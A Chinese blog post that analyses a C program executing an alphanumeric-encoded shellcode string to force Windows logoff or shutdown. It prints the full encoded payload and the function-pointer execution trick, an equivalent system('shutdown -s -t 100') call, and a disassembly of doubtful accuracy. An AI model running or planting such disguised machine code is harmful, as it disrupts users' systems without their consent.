今天在在C站看到一篇文章,「一个神奇的C代码(你知道什么原理吗?)」。

文章中给出一段代码,然后在main函数中直接 return 了,初看好像没啥毛病。结果运行后电脑注销关机了。emmmmmm,这是什么操作(っ °Д °;)っ

代码如下:


#pragma GCC optimize 0
#pragma comment(linker,"/section:.data,rwe")
char str[]= "PYVTX10X41PZ41H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE5I16OK4C162K5D16695J1TMN3P1""W0P5J0D7N7Z9L9K2I1W5B1M439LLM060L0R691Z414K2Z0M8O5H3Y8M3V604N13KK3L6O0R5JKO0A9Y5""B7O6P0N9S3Y0B1H5K100N2Z9R3A0F61075H114S1A9PMK4L5D6P1DML0L7M0F325G0H00MLKN0P7ZMN3""H8M0N0G0T060G2OMNJM1I3Z0K1M065A0Q3T2Z7N5KML2E0P3P3B2D8L02OK1W2C0I0U0S0O8L667M0QK""K660Y2H1C1U1S3X9W2B043J67JL9Q2IKL2CMN0J5O4S8K18620S0Y64MO2C0S2D1B050Y021W8M0A1S2""L5G1T640Q7K5DON3H4H3X355BMMKKMM0L2IKO09KN1W7M2G607K0S1W602M2A2A2M1S0R2Z0W047N2E0""T097O0A0D050U1U161F02";
int main()
{return ((int(*)(void))&str)();
}

效果演示:

cmd窗口输入 shutdown -a 取消注销

下面我们来尝试分析一下这个程序。

1. 分析程序

先从程序入口main函数开始分析,main函数内部只有一条语句,而关键就在于语句中 (int(*)(void) 这个强转操作上。

从语法上分析,return ((int(*)(void)) &str )(); 红色部分是一个函数指针,而在强转结束后的绿色的括号实际上是调用了这个函数。

该程序已运行就注销计算机,且整个程序就这么一条语句,那么答案就显而易见了,这行语句就是导致我计算机注销的关键所在。

按照之前分析的,该语句将 str 的首地址强转为一个函数指针,那我们先从str的首地址着手。

将原来的语句注释,输出 &str 的地址看一下,得到 000AB000 地址。

通过VS内存工具也可以看到地址000AB000处确实保存的是str中的字符串。

而函数指针的作用时,指向一个函数的首地址,这样就可以通过函数指针间接调用函数了。

而上述代码中将 str 的首地址使用强转的方式重新解释为一个函数地址究竟有什么意图呢,别着急继续往下看就明白了。

2. 分析函数指针的调用。

函数指针间接调用了函数,那我们就先从函数的调用原理分析。

首先,通过调用func函数(自己编写一个fun()函数),分析函数调用原理。

在反汇编中我们可以看到,函数调用是用了一个指令 call 08D13C5h。 其实就是 跳转到内存中 08D13C5h 的位置,然后从给位置继续向下执行 。也就是我们常说的跳转到某某函数中。

同样的道理,函数指针执行的步骤也是一样的,因为函数指针中实际上就是保存的函数的入口地址,zui 还是调用了 call 指令跳转到函数中。 因此 ((int(*)(void))&str)();该语句调用时,实际上是跳转到000AB000 地址,然后继续向下执行。那么分析 str 中字符串的含义就是下一步我们要做的任务了。

3. 分析机器码

很明显,内存000AB000位置应该是一个函数的入口地址,而后面的数据应该是函数内的执行语句。只不过这个程序的作者将函数内的指令翻译成了16进制数字的机器码,以至于我们不能从表面上获悉该函数的功能。

要知道计算机世界中,一切都是有01构成的,而机器码在指令层面可以解析成为汇编指令,从另一个角度(字符的ascii映射表)也可以解析为一串字符串没错,就是代码开头保存在str中的那串字符串。

那么现在我们只需获得最原始的机器码,并将机器码转换成汇编指令即可知道原函数的功能。

首先,我们需要分析str保存的字符串,这些字符串中每个字符的ascii码都对应着汇编语言中的汇编指令。而我们需要得到 str 中所有字符对应的ascii码,然后将其转化为汇编代码。

以之前提取到的数据的前二行为例:

0x008DB000  50 59 56 54  PYVT
0x008DB004  58 31 30 58  X10X
0x008DB008  34 31 50 5a  41PZ
0x008DB00C  34 31 48 34  41H4

第一行:50 59 56 54 翻译成汇编代码为:

第二行:58 31 30 58

按照上述方法可以将机器码翻译成汇编代码。

下面我们将所有的机器码填写到 code 文本文件中,将所有机器码全部转为汇编代码。首先需要从str中提取所有机器码(字符串的ascii码),这里提供两种方法:
1.从vs内存查看工具中拷贝出数据
2.写一个函数将机器码输出到屏幕或文件(代码在文章末尾处)

在获得全部机器码后,将其存入 code 文本文件中,然后执行 decodecode 脚本。
可以看到成功提取出了汇编代码。(全部汇编代码在文章末尾)

而要搞清楚这段代码究竟做了什么事情,我们还得继续向后分析这段汇编代码。但是由于博主汇编功底不是很强,就不解析这段汇编代码丢人现眼了。

不过我们可以再次从这个函数的功能分析,从功能上看是一个很简单的小程序,而通过上述分析我们已经知道了字符串能让电脑关机的原理,那么我们可以尝试着复现以下这个程序的C语言代码。

4. 再次分析程序

其实从第一步我们已经分析出了该程序的目的。即,让计算注销关机。

那么,从程序的功能的角度出发,它应该是执行了一句windows注销相关的命令或者调用了Windows的某个api函数。而让计算注销的windows 命令为 shutdown -s -t // -s关闭计算机,-t延迟时间

如果该程序是执行了一个Windows命令,那么要实现这样一个函数其实很简单,再结合原程序代码中的指针函数类型为 int(*)(void),可以推断出该函数大致为这样:

// 模拟关机程序
int func(){return system("shutdown -s -t 100");
}

而原本的程序经过翻译后其实是这样:

int main()
{return func();
}

执行程序后的效果是这样的:

而取消注销的命令也很简单,Win-R 打开运行,输入cmd回车打开cmd窗口。
在cmd窗口输入 shutdown -a 即可取消注销。

如果你想尝试一下该程序的话,请记住取消注销的命令 shutdown -a, 同时确保你的手速能够及时打开cmd窗口输入该命令。 当然你还有第二种选择,把该命令写成一个windows脚本,这样你用鼠标双击就可以执行。

5. Windows取消注销脚本

取消注销:Win-R 打开运行,输入cmd回车打开cmd窗口。
在cmd窗口输入 shutdown -a 即可取消注销。

编写为 bat 脚本,鼠标点击即可执行。

新建文本

编写脚本

@echo off
shutdown -a

将文件后缀改为 .bat

附:全部代码
#include <cstdio>
#include <cstring>
#include <cstdlib>        //system
#pragma warning(disable:4996)#pragma GCC optimize 0
#pragma comment(linker,"/section:.data,rwe")
char str[] = "PYVTX10X41PZ41H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE5I16OK4C162K5D16695J1TMN3P1"
"W0P5J0D7N7Z9L9K2I1W5B1M439LLM060L0R691Z414K2Z0M8O5H3Y8M3V604N13KK3L6O0R5JKO0A9Y5"
"B7O6P0N9S3Y0B1H5K100N2Z9R3A0F61075H114S1A9PMK4L5D6P1DML0L7M0F325G0H00MLKN0P7ZMN3"
"H8M0N0G0T060G2OMNJM1I3Z0K1M065A0Q3T2Z7N5KML2E0P3P3B2D8L02OK1W2C0I0U0S0O8L667M0QK"
"K660Y2H1C1U1S3X9W2B043J67JL9Q2IKL2CMN0J5O4S8K18620S0Y64MO2C0S2D1B050Y021W8M0A1S2"
"L5G1T640Q7K5DON3H4H3X355BMMKKMM0L2IKO09KN1W7M2G607K0S1W602M2A2A2M1S0R2Z0W047N2E0"
"T097O0A0D050U1U161F02";// 获得机器码
void get_code()
{FILE* fp;   // 打开文件fp = fopen(".//code.txt", "w+");int n = strlen(str);for (int i = 0; i < n; ++i) {   // 写入文件//fprintf(fp, "%#x, ", str[i]);fprintf(fp, "%x ", str[i]);}printf("get code ok!\n");fclose(fp);
}// 模拟关机程序
int func(){return system("shutdown -s -t 100");
}int main()
{// get_code();return func();
}

原程序str字符串得到的汇编代码:

Code starting with the faulting instruction
===========================================0:   50                      push   %rax1:   59                      pop    %rcx2:   56                      push   %rsi3:   54                      push   %rsp4:   58                      pop    %rax5:   31 30                   xor    %esi,(%rax)7:   58                      pop    %rax8:   34 31                   xor    $0x31,%ala:   50                      push   %raxb:   5a                      pop    %rdxc:   34 31                   xor    $0x31,%ale:   48 34 41                rex.W xor $0x41,%al11:   34 49                   xor    $0x49,%al13:   31 54 41 37             xor    %edx,0x37(%rcx,%rax,2)17:   31 54 41 44             xor    %edx,0x44(%rcx,%rax,2)1b:   56                      push   %rsi1c:   54                      push   %rsp1d:   5a                      pop    %rdx1e:   33 32                   xor    (%rdx),%esi20:   50                      push   %rax21:   5a                      pop    %rdx22:   4e                      rex.WRX23:   42                      rex.X24:   46 5a                   rex.RX pop %rdx26:   44 51                   rex.R push %rcx28:   43 30 32                rex.XB xor %sil,(%r10)2b:   44 51                   rex.R push %rcx2d:   44 30 44 31 33          xor    %r8b,0x33(%rcx,%rsi,1)32:   44                      rex.R33:   4a                      rex.WX34:   45 35 49 31 36 4f       rex.RB xor $0x4f363149,%eax3a:   4b 34 43                rex.WXB xor $0x43,%al3d:   31 36                   xor    %esi,(%rsi)3f:   32 4b 35                xor    0x35(%rbx),%cl42:   44 31 36                xor    %r14d,(%rsi)45:   36 39 35 4a 31 54 4d    cmp    %esi,%ss:0x4d54314a(%rip)        # 0x4d5431964c:   4e 33 50 31             rex.WRX xor 0x31(%rax),%r1050:   57                      push   %rdi51:   30 50 35                xor    %dl,0x35(%rax)54:   4a 30 44 37 4e          rex.WX xor %al,0x4e(%rdi,%r14,1)59:   37                      (bad)5a:   5a                      pop    %rdx5b:   39 4c 39 4b             cmp    %ecx,0x4b(%rcx,%rdi,1)5f:   32 49 31                xor    0x31(%rcx),%cl62:   57                      push   %rdi63:   35 42 31 4d 34          xor    $0x344d3142,%eax68:   33 39                   xor    (%rcx),%edi6a:   4c                      rex.WR6b:   4c                      rex.WR6c:   4d 30 36                rex.WRB xor %r14b,(%r14)6f:   30 4c 30 52             xor    %cl,0x52(%rax,%rsi,1)73:   36 39 31                cmp    %esi,%ss:(%rcx)76:   5a                      pop    %rdx77:   34 31                   xor    $0x31,%al79:   34 4b                   xor    $0x4b,%al7b:   32 5a 30                xor    0x30(%rdx),%bl7e:   4d 38 4f 35             rex.WRB cmp %r9b,0x35(%r15)82:   48 33 59 38             xor    0x38(%rcx),%rbx86:   4d 33 56 36             xor    0x36(%r14),%r108a:   30 34 4e                xor    %dh,(%rsi,%rcx,2)8d:   31 33                   xor    %esi,(%rbx)8f:   4b                      rex.WXB90:   4b 33 4c 36 4f          xor    0x4f(%r14,%r14,1),%rcx95:   30 52 35                xor    %dl,0x35(%rdx)98:   4a                      rex.WX99:   4b                      rex.WXB9a:   4f 30 41 39             rex.WRXB xor %r8b,0x39(%r9)9e:   59                      pop    %rcx9f:   35 42 37 4f 36          xor    $0x364f3742,%eaxa4:   50                      push   %raxa5:   30 4e 39                xor    %cl,0x39(%rsi)a8:   53                      push   %rbxa9:   33 59 30                xor    0x30(%rcx),%ebxac:   42 31 48 35             rex.X xor %ecx,0x35(%rax)b0:   4b 31 30                rex.WXB xor %rsi,(%r8)b3:   30 4e 32                xor    %cl,0x32(%rsi)b6:   5a                      pop    %rdxb7:   39 52 33                cmp    %edx,0x33(%rdx)ba:   41 30 46 36             xor    %al,0x36(%r14)be:   31 30                   xor    %esi,(%rax)c0:   37                      (bad)c1:   35 48 31 31 34          xor    $0x34313148,%eaxc6:   53                      push   %rbxc7:   31 41 39                xor    %eax,0x39(%rcx)ca:   50                      push   %raxcb:   4d                      rex.WRBcc:   4b 34 4c                rex.WXB xor $0x4c,%alcf:   35 44 36 50 31          xor    $0x31503644,%eaxd4:   44                      rex.Rd5:   4d                      rex.WRBd6:   4c 30 4c 37 4d          rex.WR xor %r9b,0x4d(%rdi,%rsi,1)db:   30 46 33                xor    %al,0x33(%rsi)de:   32 35 47 30 48 30       xor    0x30483047(%rip),%dh        # 0x3048312be4:   30 4d 4c                xor    %cl,0x4c(%rbp)e7:   4b                      rex.WXBe8:   4e 30 50 37             rex.WRX xor %r10b,0x37(%rax)ec:   5a                      pop    %rdxed:   4d                      rex.WRBee:   4e 33 48 38             rex.WRX xor 0x38(%rax),%r9f2:   4d 30 4e 30             rex.WRB xor %r9b,0x30(%r14)f6:   47 30 54 30 36          xor    %r10b,0x36(%r8,%r14,1)fb:   30 47 32                xor    %al,0x32(%rdi)fe:   4f                      rex.WRXBff:   4d                      rex.WRB100:   4e                      rex.WRX101:   4a                      rex.WX102:   4d 31 49 33             xor    %r9,0x33(%r9)106:   5a                      pop    %rdx107:   30 4b 31                xor    %cl,0x31(%rbx)10a:   4d 30 36                rex.WRB xor %r14b,(%r14)10d:   35 41 30 51 33          xor    $0x33513041,%eax112:   54                      push   %rsp113:   32 5a 37                xor    0x37(%rdx),%bl116:   4e 35 4b 4d 4c 32       rex.WRX xor $0x324c4d4b,%rax11c:   45 30 50 33             xor    %r10b,0x33(%r8)120:   50                      push   %rax121:   33 42 32                xor    0x32(%rdx),%eax124:   44 38 4c 30 32          cmp    %r9b,0x32(%rax,%rsi,1)129:   4f                      rex.WRXB12a:   4b 31 57 32             rex.WXB xor %rdx,0x32(%r15)12e:   43 30 49 30             rex.XB xor %cl,0x30(%r9)132:   55                      push   %rbp133:   30 53 30                xor    %dl,0x30(%rbx)136:   4f 38 4c 36 36          rex.WRXB cmp %r9b,0x36(%r14,%r14,1)13b:   37                      (bad)13c:   4d 30 51 4b             rex.WRB xor %r10b,0x4b(%r9)140:   4b                      rex.WXB141:   36 36 30 59 32          ss xor %bl,%ss:0x32(%rcx)146:   48 31 43 31             xor    %rax,0x31(%rbx)14a:   55                      push   %rbp14b:   31 53 33                xor    %edx,0x33(%rbx)14e:   58                      pop    %rax14f:   39 57 32                cmp    %edx,0x32(%rdi)152:   42 30 34 33             xor    %sil,(%rbx,%r14,1)156:   4a                      rex.WX157:   36 37                   ss (bad)159:   4a                      rex.WX15a:   4c 39 51 32             cmp    %r10,0x32(%rcx)15e:   49                      rex.WB15f:   4b                      rex.WXB160:   4c 32 43 4d             rex.WR xor 0x4d(%rbx),%r8b164:   4e 30 4a 35             rex.WRX xor %r9b,0x35(%rdx)168:   4f 34 53                rex.WRXB xor $0x53,%al16b:   38 4b 31                cmp    %cl,0x31(%rbx)16e:   38 36                   cmp    %dh,(%rsi)170:   32 30                   xor    (%rax),%dh172:   53                      push   %rbx173:   30 59 36                xor    %bl,0x36(%rcx)176:   34 4d                   xor    $0x4d,%al178:   4f 32 43 30             rex.WRXB xor 0x30(%r11),%r8b17c:   53                      push   %rbx17d:   32 44 31 42             xor    0x42(%rcx,%rsi,1),%al181:   30 35 30 59 30 32       xor    %dh,0x32305930(%rip)        # 0x32305ab7187:   31 57 38                xor    %edx,0x38(%rdi)18a:   4d 30 41 31             rex.WRB xor %r8b,0x31(%r9)18e:   53                      push   %rbx18f:   32 4c 35 47             xor    0x47(%rbp,%rsi,1),%cl193:   31 54 36 34             xor    %edx,0x34(%rsi,%rsi,1)197:   30 51 37                xor    %dl,0x37(%rcx)19a:   4b 35 44 4f 4e 33       rex.WXB xor $0x334e4f44,%rax1a0:   48 34 48                rex.W xor $0x48,%al1a3:   33 58 33                xor    0x33(%rax),%ebx1a6:   35 35 42 4d 4d          xor    $0x4d4d4235,%eax1ab:   4b                      rex.WXB1ac:   4b                      rex.WXB1ad:   4d                      rex.WRB1ae:   4d 30 4c 32 49          rex.WRB xor %r9b,0x49(%r10,%rsi,1)1b3:   4b                      rex.WXB1b4:   4f 30 39                rex.WRXB xor %r15b,(%r9)1b7:   4b                      rex.WXB1b8:   4e 31 57 37             rex.WRX xor %r10,0x37(%rdi)1bc:   4d 32 47 36             rex.WRB xor 0x36(%r15),%r8b1c0:   30 37                   xor    %dh,(%rdi)1c2:   4b 30 53 31             rex.WXB xor %dl,0x31(%r11)1c6:   57                      push   %rdi1c7:   36 30 32                xor    %dh,%ss:(%rdx)1ca:   4d 32 41 32             rex.WRB xor 0x32(%r9),%r8b1ce:   41 32 4d 31             xor    0x31(%r13),%cl1d2:   53                      push   %rbx1d3:   30 52 32                xor    %dl,0x32(%rdx)1d6:   5a                      pop    %rdx1d7:   30 57 30                xor    %dl,0x30(%rdi)1da:   34 37                   xor    $0x37,%al1dc:   4e 32 45 30             rex.WRX xor 0x30(%rbp),%r8b1e0:   54                      push   %rsp1e1:   30 39                   xor    %bh,(%rcx)1e3:   37                      (bad)1e4:   4f 30 41 30             rex.WRXB xor %r8b,0x30(%r9)1e8:   44 30 35 30 55 31 55    xor    %r14b,0x55315530(%rip)        # 0x5531571f1ef:   31 36                   xor    %esi,(%rsi)1f1:   31 46 30                xor    %eax,0x30(%rsi)1f4:   32                      .byte 0x32

这是什么操作?C语言一行字符串居然让我电脑关机了。相关推荐

  1. (七)C语言入门,代码编程,电脑关机程序【40行】【原创】

    十二篇文章汇总,独家吐大血整理 截图 test7.c #include <stdio.h> #include <limits.h> #include <stdlib.h& ...

  2. 02功能之读写文件流操作(C语言实现读取文件指定一行)

    02功能之读写文件流操作(C语言实现读取文件指定一行) 1 C语言读取文件指定一行 // 读取文件指定一行 int ReadLine1(const char *fileName, char outBu ...

  3. 【C 语言】字符串模型 ( 字符串翻转模型 | 借助 递归函数操作 逆序字符串操作 | 引入线程安全概念 )

    文章目录 一.引入线程安全概念 二.完整代码示例 一.引入线程安全概念 在上一篇博客 [C 语言]字符串模型 ( 字符串翻转模型 | 借助 递归函数操作 逆序字符串操作 | strncat 函数 ) ...

  4. 【C 语言】字符串模型 ( 字符串翻转模型 | 借助 递归函数操作 逆序字符串操作 | strncat 函数 )

    文章目录 一.strncat 字符串连接函数 二.借助 递归函数操作 逆序字符串操作 三.完整代码示例 一.strncat 字符串连接函数 strncat 函数 : 将 const char *src ...

  5. 【C 语言】字符串拷贝 ( 优化指针操作 )

    文章目录 一.优化指针操作 二.优化指针操作 2 三.优化指针操作 3 四.优化指针操作 4 一.优化指针操作 在上一篇博客 [C 语言]字符串拷贝 ( 字符串拷贝业务逻辑代码 | 分离 主函数 与 ...

  6. C语言之字符串探究(三):字符串库函数操作——strlen、strcat、strcpy、strcmp

    相关博文:C++之char和string字符串类探究 相关博文:C语言之数组探究(一):定义.大小.初始化.访问和三要素 相关博文:C语言之字符串探究(一):字符串与字符数组 相关博文:C语言之字符串 ...

  7. C语言之字符串探究(二):字符串原生操作——strlen、strcat、strcpy、strcmp自实现

    相关博文:C++之char和string字符串类探究 相关博文:C语言之数组探究(一):定义.大小.初始化.访问和三要素 相关博文:C语言之字符串探究(一):字符串与字符数组 相关博文:C语言之字符串 ...

  8. C语言编程>第十周 ⑦ 请编写函数fun,该函数的功能是:统计一行字符串中单词的个数,作为函数值返回。一行字符串在主函数中输入,规定所有单词由小写字母组成,单词之间由若干个空格隔开,一行……

    例题:请编写函数fun,该函数的功能是:统计一行字符串中单词的个数,作为函数值返回.一行字符串在主函数中输入,规定所有单词由小写字母组成,单词之间由若干个空格隔开,一行的开始和结尾都没有空格. 请勿改 ...

  9. c语言在屏幕上显示字母,【求C语言高手帮忙解答1、在屏幕上显示一行字符串:”hell-查字典问答网...

    求C语言高手帮忙解答 1.在屏幕上显示一行字符串:"helloworld!". 2.从键盘上输入两个数,放入整型变量a,b当中,求两数之和c=a+b,两数之差d=a-b. 3.从键 ...

最新文章

  1. 计算硼原子的基态能级B---交换能
  2. Linux 下如何处理包含空格和特殊字符的文件名
  3. python有道自动翻译_利用python写一个有道翻译的脚本
  4. A8U推一键上面洗车APP软件
  5. numpy的增删改查操作
  6. php 查找文件 替换内容,关于php:文件中查找和替换功能困扰
  7. 以太坊 交易 data字段 内容是什么
  8. 实用新型专利申请文件撰写示例
  9. word中插入代码段
  10. 百度网盘破解版下不了大文件
  11. Delphi第三方控件大测评
  12. phpcms之 文件下载的页面
  13. CentOS 安装火狐的 flash插件
  14. 网易前端JavaScript编码规范
  15. Android root检测方法小结
  16. 开课吧T31项目第6天
  17. Python日志模块
  18. ANTLR4 入门学习(一):下载和测试
  19. DEJA_VU3D - Cesium功能集 之 076-缓冲区分析
  20. 品牌LOGO设计丨商业实践设计思路大揭秘 难怪他接单不断

热门文章

  1. 数据挖掘在市场营销的应用(ZZ)
  2. 春校赛--求索溪边的砖
  3. php地址隐藏最快的办法,就是这么简单!拿快车破译php?隐藏下载地址
  4. 硬盘 不属于Rom RAM
  5. 各种类型转换 LPCTSTR 方法
  6. hge source explor 0xA graphics Ⅰ
  7. 奔图无线版的打印机_手机端WPS打印文档的操作步骤
  8. Javascript 技巧大全
  9. 读书记:《结构思考力》
  10. 微信小程序使用加速计实现摇一摇功能(一)